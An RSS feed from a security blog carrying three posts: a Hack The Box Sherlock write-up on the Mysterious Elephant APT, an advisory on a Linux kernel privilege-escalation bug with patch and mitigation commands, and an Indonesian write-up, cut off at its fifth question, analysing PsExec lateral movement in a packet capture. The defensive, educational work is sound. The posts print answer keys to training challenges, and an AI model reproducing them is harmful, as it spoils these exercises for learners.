<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Cyphera's Blog]]></title><description><![CDATA[Cyphera's Blog]]></description><link>https://blog.cyphera.my.id</link><image><url>https://cdn.hashnode.com/uploads/logos/69c921637816e434a047245e/cd70d356-fecc-4406-92f1-3ee9b222ac53.png</url><title>Cyphera&apos;s Blog</title><link>https://blog.cyphera.my.id</link></image><generator>RSS for Node</generator><lastBuildDate>Sat, 30 May 2026 12:23:26 GMT</lastBuildDate><atom:link href="https://blog.cyphera.my.id/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[HTB Sherlock Write-Up FortySeven-1]]></title><description><![CDATA[Challenge Information



Field
Detail



Platform
Hack The Box


Category
Sherlock


Challenge Name
FortySeven-1


Difficulty
Very Easy



Scenario
The challenge focuses on an APT group that uses Hajj]]></description><link>https://blog.cyphera.my.id/htb-sherlock-write-up-fortyseven-1</link><guid isPermaLink="true">https://blog.cyphera.my.id/htb-sherlock-write-up-fortyseven-1</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Wed, 13 May 2026 16:00:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/e8c0ab59-b07d-4212-9864-655304b1dca4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/59c80ae8-f216-4ad9-bab9-edbbee352645.png" alt="" style="display:block;margin:0 auto" />

<h2>Challenge Information</h2>
<table>
<thead>
<tr>
<th>Field</th>
<th>Detail</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Platform</strong></td>
<td>Hack The Box</td>
</tr>
<tr>
<td><strong>Category</strong></td>
<td>Sherlock</td>
</tr>
<tr>
<td><strong>Challenge Name</strong></td>
<td>FortySeven-1</td>
</tr>
<tr>
<td><strong>Difficulty</strong></td>
<td>Very Easy</td>
</tr>
</tbody></table>
<hr />
<h2>Scenario</h2>
<p>The challenge focuses on an APT group that uses Hajj-themed phishing lures to target government and diplomatic officials. The attackers aim to steal sensitive WhatsApp-related data from victims.</p>
<p>To solve this Sherlock, several intelligence reports and threat research articles were provided as evidence. The task was to correlate information from multiple sources in order to identify the threat actor, their malware, attack techniques, persistence methods, and exfiltration behavior.</p>
<p><strong>Evidence Sources:</strong></p>
<ol>
<li><p><a href="https://securelist.com/mysterious-elephant-apt-ttps-and-tools/117596/">Kaspersky SecureList Report</a></p>
</li>
<li><p><a href="https://medium.com/@knownsec404team/apt-k-47-mysterious-elephant-a-new-apt-organization-in-south-asia-5c66f954477">Knownsec 404 Team — APT-K-47 "Mysterious Elephant"</a></p>
</li>
<li><p><a href="https://medium.com/@knownsec404team/unveiling-the-past-and-present-of-apt-k-47-weapon-asyncshell-5a98f75c2d68">Knownsec 404 Team — Asyncshell Analysis</a></p>
</li>
</ol>
<hr />
<h2>Task 1</h2>
<h3>Question</h3>
<p>What is the primary name of the APT group described in the SecureList report?</p>
<h3>Analysis</h3>
<p>For the first question, I opened the first evidence from the Kaspersky SecureList report. In the introduction section, the report clearly mentions the name of the threat actor being analyzed.</p>
<p>The report states that the APT group is called <strong>Mysterious Elephant</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/458b1745-ca11-45d2-8025-6b8038fff9b2.png" alt="Task 1 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">Mysterious Elephant
</code></pre>
<hr />
<h2>Task 2</h2>
<h3>Question</h3>
<p>According to the Knownsec 404 team's analysis (Evidence-3), since which year has this group's attack activity been dated back to?</p>
<h3>Analysis</h3>
<p>The question already provided a clue that the answer could be found in Evidence-3. I opened the Asyncshell analysis article and checked the overview/background section.</p>
<p>The report mentions that the organization's activities date back as far as <strong>2022</strong>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/99c90e23-003d-43e9-a4f2-2d6f3b8f3405.png" alt="Task 2 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">2022
</code></pre>
<hr />
<h2>Task 3</h2>
<h3>Question</h3>
<p>The group uses a custom backdoor that communicates via Office Remote Procedure Call (ORPCBackdoor). According to the Knownsec 404 team's analysis (Evidence-2), what is the name of the first malicious exported entry function?</p>
<h3>Analysis</h3>
<p>This task specifically pointed to Evidence-2, so I searched inside the ORPCBackdoor analysis section.</p>
<p>In the section describing exported functions, the report explains that there are two malicious entries used by the malware. The first malicious exported entry function is listed as <code>GetFileVersionInfoByHandleEx(void)</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/32ae14e8-eef7-470d-8a9e-583cae86451b.png" alt="Task 3 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">GetFileVersionInfoByHandleEx(void)
</code></pre>
<hr />
<h2>Task 4</h2>
<h3>Question</h3>
<p>The previously mentioned backdoor checks for a file before creating persistence. What is the name of the file?</p>
<h3>Analysis</h3>
<p>Still inside Evidence-2, I continued reading the persistence section of ORPCBackdoor.</p>
<p>The malware checks whether a file exists before creating persistence in order to avoid duplicate persistence creation. The report mentions that the malware checks for a file named <code>ts.dat</code>. If the file does not exist, the malware creates persistence and then creates the file afterward.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/fc4bbd3e-60ac-46ad-b3ac-1502aad0be0b.png" alt="Task 4 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">ts.dat
</code></pre>
<hr />
<h2>Task 5</h2>
<h3>Question</h3>
<p>The use of the backdoor links the APT to another well-known South Asian APT group. What is the name of this other group?</p>
<h3>Analysis</h3>
<p>In the homology analysis section of Evidence-2, the report compares ORPCBackdoor techniques with other South Asian threat actors.</p>
<p>The article repeatedly references similarities with the <strong>BITTER</strong> APT group, including overlapping attack chains, CHM structures, and infrastructure. This strongly links the activity to the Bitter group.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/6482db9c-c46f-47da-a068-0ce5468f86c7.png" alt="Task 5 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">Bitter
</code></pre>
<hr />
<h2>Task 6</h2>
<h3>Question</h3>
<p>The APT group we are currently investigating has consistently used and updated another backdoor since 2023, with its C2 communication evolving from TCP to HTTPS. What is the name of this tool?</p>
<h3>Analysis</h3>
<p>To solve this task, I reviewed Evidence-3 which discusses the evolution of the Asyncshell malware family.</p>
<p>The report explains that during version updates, the malware communication method changed from TCP to HTTPS. The article specifically labels this updated version as <code>Asyncshell-v2</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/2389ab2f-701f-4271-93ce-b45623508c6b.png" alt="Task 6 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">Asyncshell-v2
</code></pre>
<hr />
<h2>Task 7</h2>
<h3>Question</h3>
<p>To evade sandbox analysis, the MemLoader HidenDesk tool checks the number of active processes before running. What is the minimum number of processes required for it to proceed?</p>
<h3>Analysis</h3>
<p>This answer can be found in the Kaspersky report under the "Customized open-source tools" section.</p>
<p>The report states that MemLoader HidenDesk terminates itself if there are fewer than <strong>40</strong> running processes. Therefore, the malware requires at least 40 active processes before continuing execution.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/6f06d9ff-a6cc-4166-bff7-e5914092cadc.png" alt="Task 7 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">40
</code></pre>
<hr />
<h2>Task 8</h2>
<h3>Question</h3>
<p>The MemLoader HidenDesk tool creates a covert environment for its activities by creating and switching to a specific environment. What is the name of this hidden desktop?</p>
<h3>Analysis</h3>
<p>In the same MemLoader HidenDesk analysis section, the report explains that the malware creates a hidden desktop for stealth purposes. The hidden desktop name is explicitly mentioned as <code>MalwareTech_Hidden</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/fcae335b-cd91-46ed-9931-4f9f291de891.png" alt="Task 8 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">MalwareTech_Hidden
</code></pre>
<hr />
<h2>Task 9</h2>
<h3>Question</h3>
<p>The MemLoader HidenDesk tool achieves persistence by placing a shortcut in the autostart folder to ensure it runs after a system reboot. What is the MITRE ATT&amp;CK ID for the 'Registry Run Keys / Startup Folder' technique?</p>
<h3>Analysis</h3>
<p>The question refers to the MITRE ATT&amp;CK technique related to persistence through startup folders and registry run keys. I searched the MITRE ATT&amp;CK framework and found the corresponding technique ID.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/86976bea-f8f9-43cb-a39e-215328b7997a.png" alt="Task 9 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">T1547.001
</code></pre>
<hr />
<h2>Task 10</h2>
<h3>Question</h3>
<p>The actor uses several custom exfiltration tools targeting WhatsApp. What is the name of the tool that recursively searches specific directories, including the "Desktop" and "Downloads" folders?</p>
<h3>Analysis</h3>
<p>In Evidence-1, under the "WhatsApp-specific exfiltration tools" section, the report discusses several custom exfiltration malware families.</p>
<p>One of them is called <strong>Stom Exfiltrator</strong>, which recursively searches directories such as Desktop and Downloads to collect files.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/b9307769-cb5e-40db-9bb0-f0e2edf1e080.png" alt="Task 10 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">Stom Exfiltrator
</code></pre>
<hr />
<h2>Task 11</h2>
<h3>Question</h3>
<p>Kaspersky's analysis highlights the actor's heavy use of scripts for execution and deploying payloads. What is the MITRE ATT&amp;CK ID for the 'PowerShell' technique?</p>
<h3>Analysis</h3>
<p>The report heavily mentions PowerShell scripts being used for execution, payload deployment, and persistence. The MITRE ATT&amp;CK ID for PowerShell execution is <code>T1059.001</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/61e7a026-1f1c-4df3-bed3-401c64309b67.png" alt="Task 11 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">T1059.001
</code></pre>
<hr />
<h2>Task 12</h2>
<h3>Question</h3>
<p>In their early attack chains, Mysterious Elephant used a downloader that was previously associated with the Origami Elephant group. What was the name of this downloader?</p>
<h3>Analysis</h3>
<p>In the "Emergence of Mysterious Elephant" section from the Kaspersky report, the article explains that the actor previously used a downloader connected to Origami Elephant. The downloader is named <code>Vtyrei</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/7685b219-b5af-42b7-a2b3-7004ba60ed2d.png" alt="Task 12 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">Vtyrei
</code></pre>
<hr />
<h2>Task 13</h2>
<h3>Question</h3>
<p>In a January 2024 campaign delivering an Asyncshell payload, which CVE was exploited in the malicious archive file?</p>
<h3>Analysis</h3>
<p>In Evidence-3, the "Discover Asyncshell for the first time" section explains that attackers exploited a vulnerability through a malicious archive file. The exploited vulnerability was <code>CVE-2023-38831</code>.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/8788c43b-78a8-48a2-8f3d-11730ab58d57.png" alt="Task 13 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">CVE-2023-38831
</code></pre>
<hr />
<h2>Task 14</h2>
<h3>Question</h3>
<p>What is the MD5 hash of the ChromeStealer Exfiltrator sample named WhatsAppOB.exe?</p>
<h3>Analysis</h3>
<p>Inside the Indicators of Compromise section of the Kaspersky report, there is a list of malware hashes. Under the ChromeStealer Exfiltrator section, the MD5 hash for <code>WhatsAppOB.exe</code> is listed.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/31e98388-80d5-4478-b273-9daca50ef716.png" alt="Task 14 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">9e50adb6107067ff0bab73307f5499b6
</code></pre>
<hr />
<h2>Task 15</h2>
<h3>Question</h3>
<p>The intelligence describes multiple custom tools designed to upload stolen data to the actor's servers. According to the MITRE ATT&amp;CK framework, what is the ID for the 'Exfiltration Over C2 Channel' technique?</p>
<h3>Analysis</h3>
<p>The question refers to the MITRE ATT&amp;CK technique for sending stolen data through command-and-control communication channels.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/90bac418-ad90-43be-8095-e9588da3b69d.png" alt="Task 15 - Screenshot" style="display:block;margin:0 auto" />

<h3>Answer</h3>
<pre><code class="language-plaintext">T1041
</code></pre>
<hr />
<h2>Conclusion</h2>
<p>This Sherlock challenge focused on threat intelligence analysis and APT profiling using multiple public research reports.</p>
<p>During this investigation, I learned how to correlate threat intelligence from different cybersecurity vendors and researchers in order to identify:</p>
<ul>
<li><p>Threat actor attribution</p>
</li>
<li><p>Malware families and backdoors</p>
</li>
<li><p>Persistence mechanisms</p>
</li>
<li><p>Sandbox evasion techniques</p>
</li>
<li><p>Exfiltration methods</p>
</li>
<li><p>MITRE ATT&amp;CK mappings</p>
</li>
<li><p>Infrastructure and operational behavior</p>
</li>
</ul>
<p>The challenge also provided a good understanding of how modern APT groups continuously evolve their malware, infrastructure, and attack chains to avoid detection.</p>
<p>Overall, FortySeven-1 was an excellent beginner-friendly Sherlock for improving OSINT analysis, threat hunting, and malware intelligence correlation skills.</p>
]]></content:encoded></item><item><title><![CDATA[(Copy Fail) Linux Kernel Local Privilege Escalation Vulnerability]]></title><description><![CDATA[On April 29, 2026, a new Linux Kernel vulnerability called Copy Fail (CVE-2026-31431) was publicly disclosed and quickly became a major concern for Linux administrators and security teams.
The vulnera]]></description><link>https://blog.cyphera.my.id/copy-fail-linux-kernel-local-privilege-escalation-vulnerability</link><guid isPermaLink="true">https://blog.cyphera.my.id/copy-fail-linux-kernel-local-privilege-escalation-vulnerability</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Mon, 11 May 2026 07:37:52 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69c921637816e434a047245e/28c3b13a-da3c-4548-a356-6674f24839e0.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On April 29, 2026, a new Linux Kernel vulnerability called <strong>Copy Fail</strong> (CVE-2026-31431) was publicly disclosed and quickly became a major concern for Linux administrators and security teams.</p>
<p>The vulnerability affects a Linux kernel component named <code>algif_aead</code>, which is responsible for hardware-accelerated cryptographic operations. According to security reports, attackers may exploit this issue to gain elevated privileges and potentially obtain root access on affected systems.</p>
<p>The issue impacts almost all Ubuntu releases before Ubuntu 26.04 (Resolute).</p>
<p>With a CVSS score of 7.8, the vulnerability is categorized as <strong>High Severity</strong>.</p>
<hr />
<h1>Why This Vulnerability Matters</h1>
<p>At first glance, this may look like “just another kernel bug.”<br />But in reality, Local Privilege Escalation (LPE) vulnerabilities are among the most dangerous security issues in Linux environments.</p>
<p>Why?</p>
<p>Because once an attacker gains access to a low-privileged account — even a limited one — they may use this vulnerability to become root.</p>
<p>That means:</p>
<ul>
<li><p>Full control over the server</p>
</li>
<li><p>Ability to modify system files</p>
</li>
<li><p>Access to sensitive data</p>
</li>
<li><p>Possibility of disabling security controls</p>
</li>
<li><p>Higher risk in container environments</p>
</li>
</ul>
<p>For companies running production workloads, cloud infrastructure, or Kubernetes clusters, this is not something to delay.</p>
<hr />
<h1>Systems That Are Potentially Affected</h1>
<p>The vulnerability affects multiple Ubuntu versions, including:</p>
<ul>
<li><p>Ubuntu 18.04 LTS</p>
</li>
<li><p>Ubuntu 20.04 LTS</p>
</li>
<li><p>Ubuntu 22.04 LTS</p>
</li>
<li><p>Ubuntu 24.04 LTS</p>
</li>
<li><p>Ubuntu 25.10</p>
</li>
</ul>
<p>Ubuntu 26.04 is reported as not affected.</p>
<p>Some older kernel versions in Ubuntu 14.04 and 16.04 may also be safe depending on the kernel release being used.</p>
<hr />
<h1>The Bigger Concern: Containers</h1>
<p>One important point from this vulnerability is its potential impact on containerized environments.</p>
<p>Although no public container escape exploit has been released yet, security researchers warn that this issue could increase the risk of:</p>
<ul>
<li><p>Container breakout</p>
</li>
<li><p>Host compromise</p>
</li>
<li><p>Cross-workload attacks</p>
</li>
</ul>
<p>This is especially important for organizations using:</p>
<ul>
<li><p>Docker</p>
</li>
<li><p>Kubernetes</p>
</li>
<li><p>Multi-tenant environments</p>
</li>
<li><p>CI/CD runners</p>
</li>
<li><p>Shared infrastructure</p>
</li>
</ul>
<p>Even if your containers are isolated properly, kernel-level vulnerabilities can sometimes bypass those protections.</p>
<hr />
<h1>How to Check Your System</h1>
<p>To check your current Linux kernel version:</p>
<pre><code class="language-bash">uname -r
</code></pre>
<p>To see installed kernel packages:</p>
<pre><code class="language-bash">dpkg -l 'linux-image*' | grep ^ii
</code></pre>
<p>To verify your installed <code>kmod</code> version:</p>
<pre><code class="language-bash">dpkg -l kmod
</code></pre>
<hr />
<h1>Recommended Fix</h1>
<p>Canonical has already released mitigations and security updates.</p>
<p>The safest approach is to fully update the system:</p>
<pre><code class="language-bash">sudo apt update &amp;&amp; sudo apt upgrade
</code></pre>
<p>If a full upgrade is not possible immediately, administrators can apply the mitigation package only:</p>
<pre><code class="language-bash">sudo apt install --only-upgrade kmod
</code></pre>
<hr />
<h1>Temporary Mitigation Without Reboot</h1>
<p>In some production environments, rebooting immediately may not be possible.</p>
<p>As a temporary workaround, the affected kernel module can be unloaded manually:</p>
<pre><code class="language-bash">sudo rmmod algif_aead 2&gt;/dev/null
</code></pre>
<p>Then verify whether the module is still active:</p>
<pre><code class="language-bash">grep -qE '^algif_aead ' /proc/modules &amp;&amp; echo "Module still loaded" || echo "Module not loaded"
</code></pre>
<hr />
<h1>Important Operational Considerations</h1>
<p>Disabling this module may impact applications relying on hardware-accelerated cryptography.</p>
<p>Possible side effects include:</p>
<ul>
<li><p>Reduced cryptographic performance</p>
</li>
<li><p>Application compatibility issues</p>
</li>
<li><p>Services requiring restart or reboot</p>
</li>
</ul>
<p>Because of this, testing in staging environments is strongly recommended before deploying changes broadly in production.</p>
<hr />
<h1>Security Lessons From Copy Fail</h1>
<p>This vulnerability highlights several important realities in modern infrastructure security:</p>
<h2>1. Linux Is Secure — But Not Untouchable</h2>
<p>Many organizations assume Linux systems are naturally safe.<br />While Linux is highly secure, kernel vulnerabilities can still create serious risks.</p>
<hr />
<h2>2. Containers Are Not Perfect Isolation</h2>
<p>Containers share the host kernel.<br />If the kernel itself becomes vulnerable, isolation boundaries may weaken.</p>
<hr />
<h2>3. Patch Management Still Matters</h2>
<p>One delayed security update can become a major incident.</p>
<p>Fast vulnerability assessment and proper patch management remain critical for infrastructure teams.</p>
<hr />
<h1>Practical Recommendations for IT Teams</h1>
<h2>Immediate Actions</h2>
<ul>
<li><p>Update affected systems</p>
</li>
<li><p>Apply available mitigations</p>
</li>
<li><p>Schedule controlled reboots</p>
</li>
<li><p>Review exposed local accounts</p>
</li>
</ul>
<h2>For Container Environments</h2>
<ul>
<li><p>Avoid privileged containers</p>
</li>
<li><p>Use AppArmor or seccomp profiles</p>
</li>
<li><p>Audit Kubernetes security policies</p>
</li>
<li><p>Monitor unusual kernel activity</p>
</li>
</ul>
<h2>For Production Infrastructure</h2>
<ul>
<li><p>Test updates in staging</p>
</li>
<li><p>Validate crypto-dependent applications</p>
</li>
<li><p>Prepare rollback procedures if needed</p>
</li>
</ul>
<hr />
<h1>Final Thoughts</h1>
<p>Copy Fail (CVE-2026-31431) is another reminder that infrastructure security is not only about firewalls, antivirus, or endpoint protection.</p>
<p>Sometimes the biggest risks exist deep inside the operating system itself.</p>
<p>For Linux administrators, DevOps engineers, and security teams, staying informed and responding quickly to vulnerabilities like this is essential to maintaining a secure and reliable environment.</p>
]]></content:encoded></item><item><title><![CDATA[PsExec Hunt — CyberDefenders: SMB Lateral Movement Analysis]]></title><description><![CDATA[Introduction


Challenge PsExec Hunt menempatkan kita sebagai SOC analyst yang menerima alert dari IDS terkait aktivitas mencurigakan di jaringan internal. Alert tersebut menunjukkan adanya indikasi l]]></description><link>https://blog.cyphera.my.id/psexec-hunt-cyberdefenders-smb-lateral-movement-analysis</link><guid isPermaLink="true">https://blog.cyphera.my.id/psexec-hunt-cyberdefenders-smb-lateral-movement-analysis</guid><dc:creator><![CDATA[Firmansyah Dzakwan Arifien]]></dc:creator><pubDate>Tue, 21 Apr 2026 04:40:55 GMT</pubDate><content:encoded><![CDATA[<hr />
<h2>Introduction</h2>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/cover.png" alt="Introduction" style="display:block;margin:0 auto" />

<p>Challenge <strong>PsExec Hunt</strong> menempatkan kita sebagai SOC analyst yang menerima alert dari IDS terkait aktivitas mencurigakan di jaringan internal. Alert tersebut menunjukkan adanya indikasi <strong>lateral movement</strong> menggunakan <strong>PsExec</strong> — sebuah tool administrasi remote yang sah, namun sangat sering disalahgunakan oleh attacker.</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/skenario.png" alt="Skenario" style="display:block;margin:0 auto" />

<p>Tugas utama: analisis file PCAP menggunakan Wireshark untuk menelusuri:</p>
<ul>
<li><p>Dari mana attacker masuk</p>
</li>
<li><p>Ke mesin mana attacker berpindah</p>
</li>
<li><p>Credential apa yang digunakan</p>
</li>
<li><p>Apa yang dilakukan di mesin target</p>
</li>
<li><p>Sejauh mana jangkauan serangan</p>
</li>
</ul>
<h3>Kenapa PsExec Berbahaya?</h3>
<p>PsExec bekerja dengan cara menyalin file service executable-nya (<code>PSEXESVC.exe</code>) ke share administratif target (<code>ADMIN$</code>), lalu menjalankannya secara remote. Karena menggunakan protokol SMB yang legitimate dan credential yang valid, aktivitas ini sering lolos dari deteksi awal.</p>
<p><strong>Tools yang digunakan:</strong></p>
<table>
<thead>
<tr>
<th>Tool</th>
<th>Fungsi</th>
</tr>
</thead>
<tbody><tr>
<td>Wireshark</td>
<td>Analisis PCAP dan inspeksi paket</td>
</tr>
<tr>
<td>Statistics &gt; Protocol Hierarchy</td>
<td>Identifikasi protokol dominan dalam traffic</td>
</tr>
<tr>
<td>Follow TCP Stream</td>
<td>Telusuri satu sesi komunikasi secara utuh</td>
</tr>
</tbody></table>
<hr />
<h2>Investigation &amp; Findings</h2>
<h3>Q1 — IP Address Attacker (Initial Access)</h3>
<p><strong>Pertanyaan:</strong> Dari IP mana attacker pertama kali mendapatkan akses ke jaringan?</p>
<p><strong>Langkah analisis:</strong></p>
<p>Buka file PCAP di Wireshark, lalu navigasi ke:</p>
<pre><code class="language-plaintext">Statistics → Protocol Hierarchy
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q1-protocol-hierarchy.png" alt="Protocol Hierarchy Wireshark" style="display:block;margin:0 auto" />

<p><em>Protocol Hierarchy menunjukkan dominasi SMB2 over TCP</em></p>
<p>Dari sini terlihat jelas adanya traffic <strong>SMB2 (Server Message Block v2)</strong> melalui <strong>NetBIOS Session Service</strong> di atas TCP. Ini adalah protokol file sharing Windows yang menjadi medium utama serangan.</p>
<p>Filter traffic SMB untuk melihat siapa yang memulai komunikasi:</p>
<pre><code class="language-plaintext">smb2
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q1-smb-negotiate.png" alt="SMB Negotiate Protocol Request" style="display:block;margin:0 auto" />

<p><em>SMB Negotiate Protocol Request dari 10.0.0.130 ke 10.0.0.133 di port 445</em></p>
<p>Ditemukan <strong>SMB Negotiate Protocol Request</strong> yang dikirim dari <code>10.0.0.130</code> ke <code>10.0.0.133</code> melalui <strong>TCP port 445</strong> — port standar SMB. Paket ini adalah langkah pertama dalam negosiasi sesi SMB, di mana client memulai komunikasi ke server. Karena <code>10.0.0.130</code> yang menginisiasi, maka ini adalah mesin attacker.</p>
<blockquote>
<p><strong>Answer:</strong> <code>10.0.0.130</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q1-answer.png" alt="Answer q1" style="display:block;margin:0 auto" />

<hr />
<h3>Q2 — Hostname Mesin Target Pertama</h3>
<p><strong>Pertanyaan:</strong> Apa hostname mesin yang pertama kali dijadikan target pivot oleh attacker?</p>
<p><strong>Langkah analisis:</strong></p>
<p>Klik kanan pada paket SMB dari Q1 → <strong>Follow → TCP Stream</strong> untuk melihat keseluruhan sesi komunikasi antara kedua IP.</p>
<p>Di dalam stream tersebut, cari paket <strong>NTLM Authentication</strong> — khususnya bagian <strong>NTLM Challenge</strong> yang dikirim oleh server sebagai respons terhadap upaya autentikasi client.</p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q2-ntlm-challenge.png" alt="NTLM Challenge Response" style="display:block;margin:0 auto" />

<p><em>NTLM Challenge mengandung metadata target machine termasuk hostname</em></p>
<p>Di dalam NTLM Challenge message, server menyertakan informasi metadata tentang dirinya sendiri, termasuk:</p>
<ul>
<li><p><strong>NetBIOS Computer Name</strong> → nama host mesin</p>
</li>
<li><p><strong>NetBIOS Domain Name</strong> → nama domain</p>
</li>
<li><p><strong>DNS Computer Name</strong> → FQDN mesin</p>
</li>
</ul>
<p>Dari metadata tersebut, hostname mesin target pertama terbaca sebagai <strong>SALES-PC</strong>.</p>
<blockquote>
<p><strong>Answer:</strong> <code>SALES-PC</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q2-answer.png" alt="Answer q2" style="display:block;margin:0 auto" />

<hr />
<h3>Q3 — Username yang Digunakan Attacker</h3>
<p><strong>Pertanyaan:</strong> Username apa yang dipakai attacker untuk autentikasi?</p>
<p><strong>Langkah analisis:</strong></p>
<p>Masih di TCP stream yang sama, cari paket <strong>SMB2 Session Setup Request</strong> — ini adalah paket di mana client mengirimkan credential ke server untuk memulai sesi.</p>
<p>Filter tambahan untuk mempermudah pencarian:</p>
<pre><code class="language-plaintext">ntlmssp.auth.username
</code></pre>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q3-ntlm-auth.png" alt="SMB2 Session Setup Request NTLM" style="display:block;margin:0 auto" />

<p><em>SMB2 Session Setup Request menampilkan username dan hostname asal</em></p>
<p>Di dalam paket ini, pada bagian <strong>NTLM Auth</strong>, terdapat field <strong>Account Name</strong> yang menampilkan username yang digunakan. Ditemukan bahwa attacker menggunakan akun <strong>ssales</strong> yang berasal dari host <strong>HR-PC</strong>.</p>
<p>Ini mengindikasikan bahwa attacker berhasil <strong>mencuri atau mengkompromikan credential</strong> akun <code>ssales</code> dari mesin HR-PC, kemudian menggunakannya untuk bergerak lateral ke SALES-PC.</p>
<blockquote>
<p><strong>Answer:</strong> <code>ssales</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q3-answer.png" alt="Answer q3" style="display:block;margin:0 auto" />

<hr />
<h3>Q4 — Nama Service Executable yang Dipasang</h3>
<p><strong>Pertanyaan:</strong> Apa nama file executable yang dipasang attacker di mesin target?</p>
<p><strong>Langkah analisis:</strong></p>
<p>Lanjutkan analisis TCP stream ke bagian selanjutnya. Setelah sesi berhasil terbentuk, cari paket <strong>SMB2 Create Request</strong> — ini adalah paket yang digunakan untuk membuat file baru di sistem target.</p>
<p>Filter:</p>
<pre><code class="language-plaintext">smb2.cmd == 5
</code></pre>
<p><em>(Command code 5 = Create/Open file di SMB2)</em></p>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q4-create-request.png" alt="SMB2 Create Request PSEXESVC" style="display:block;margin:0 auto" />

<p><em>SMB2 Create Request menunjukkan file PSEXESVC.exe ditulis ke share ADMIN$</em></p>
<p>Di dalam paket Create Request, terlihat nama file yang dibuat: <strong>PSEXESVC.exe</strong> — ini adalah service component dari tool PsExec. File ini disalin ke share <code>ADMIN$</code> pada mesin target sebagai bagian dari mekanisme remote execution PsExec.</p>
<blockquote>
<p><strong>Answer:</strong> <code>PSEXESVC.exe</code> {: .prompt-tip }</p>
</blockquote>
<img src="https://cdn.jsdelivr.net/gh/firmansyahdzakwanarifien/firmansyahdzakwanarifien-assets@main/blog/img/projects/task/cyberdefenders/psexec-hunt/q4-answer.png" alt="Answer q4" style="display:block;margin:0 auto" />

<hr />
<h3>Q5 — Network Share untuk Instalasi Service</h3>
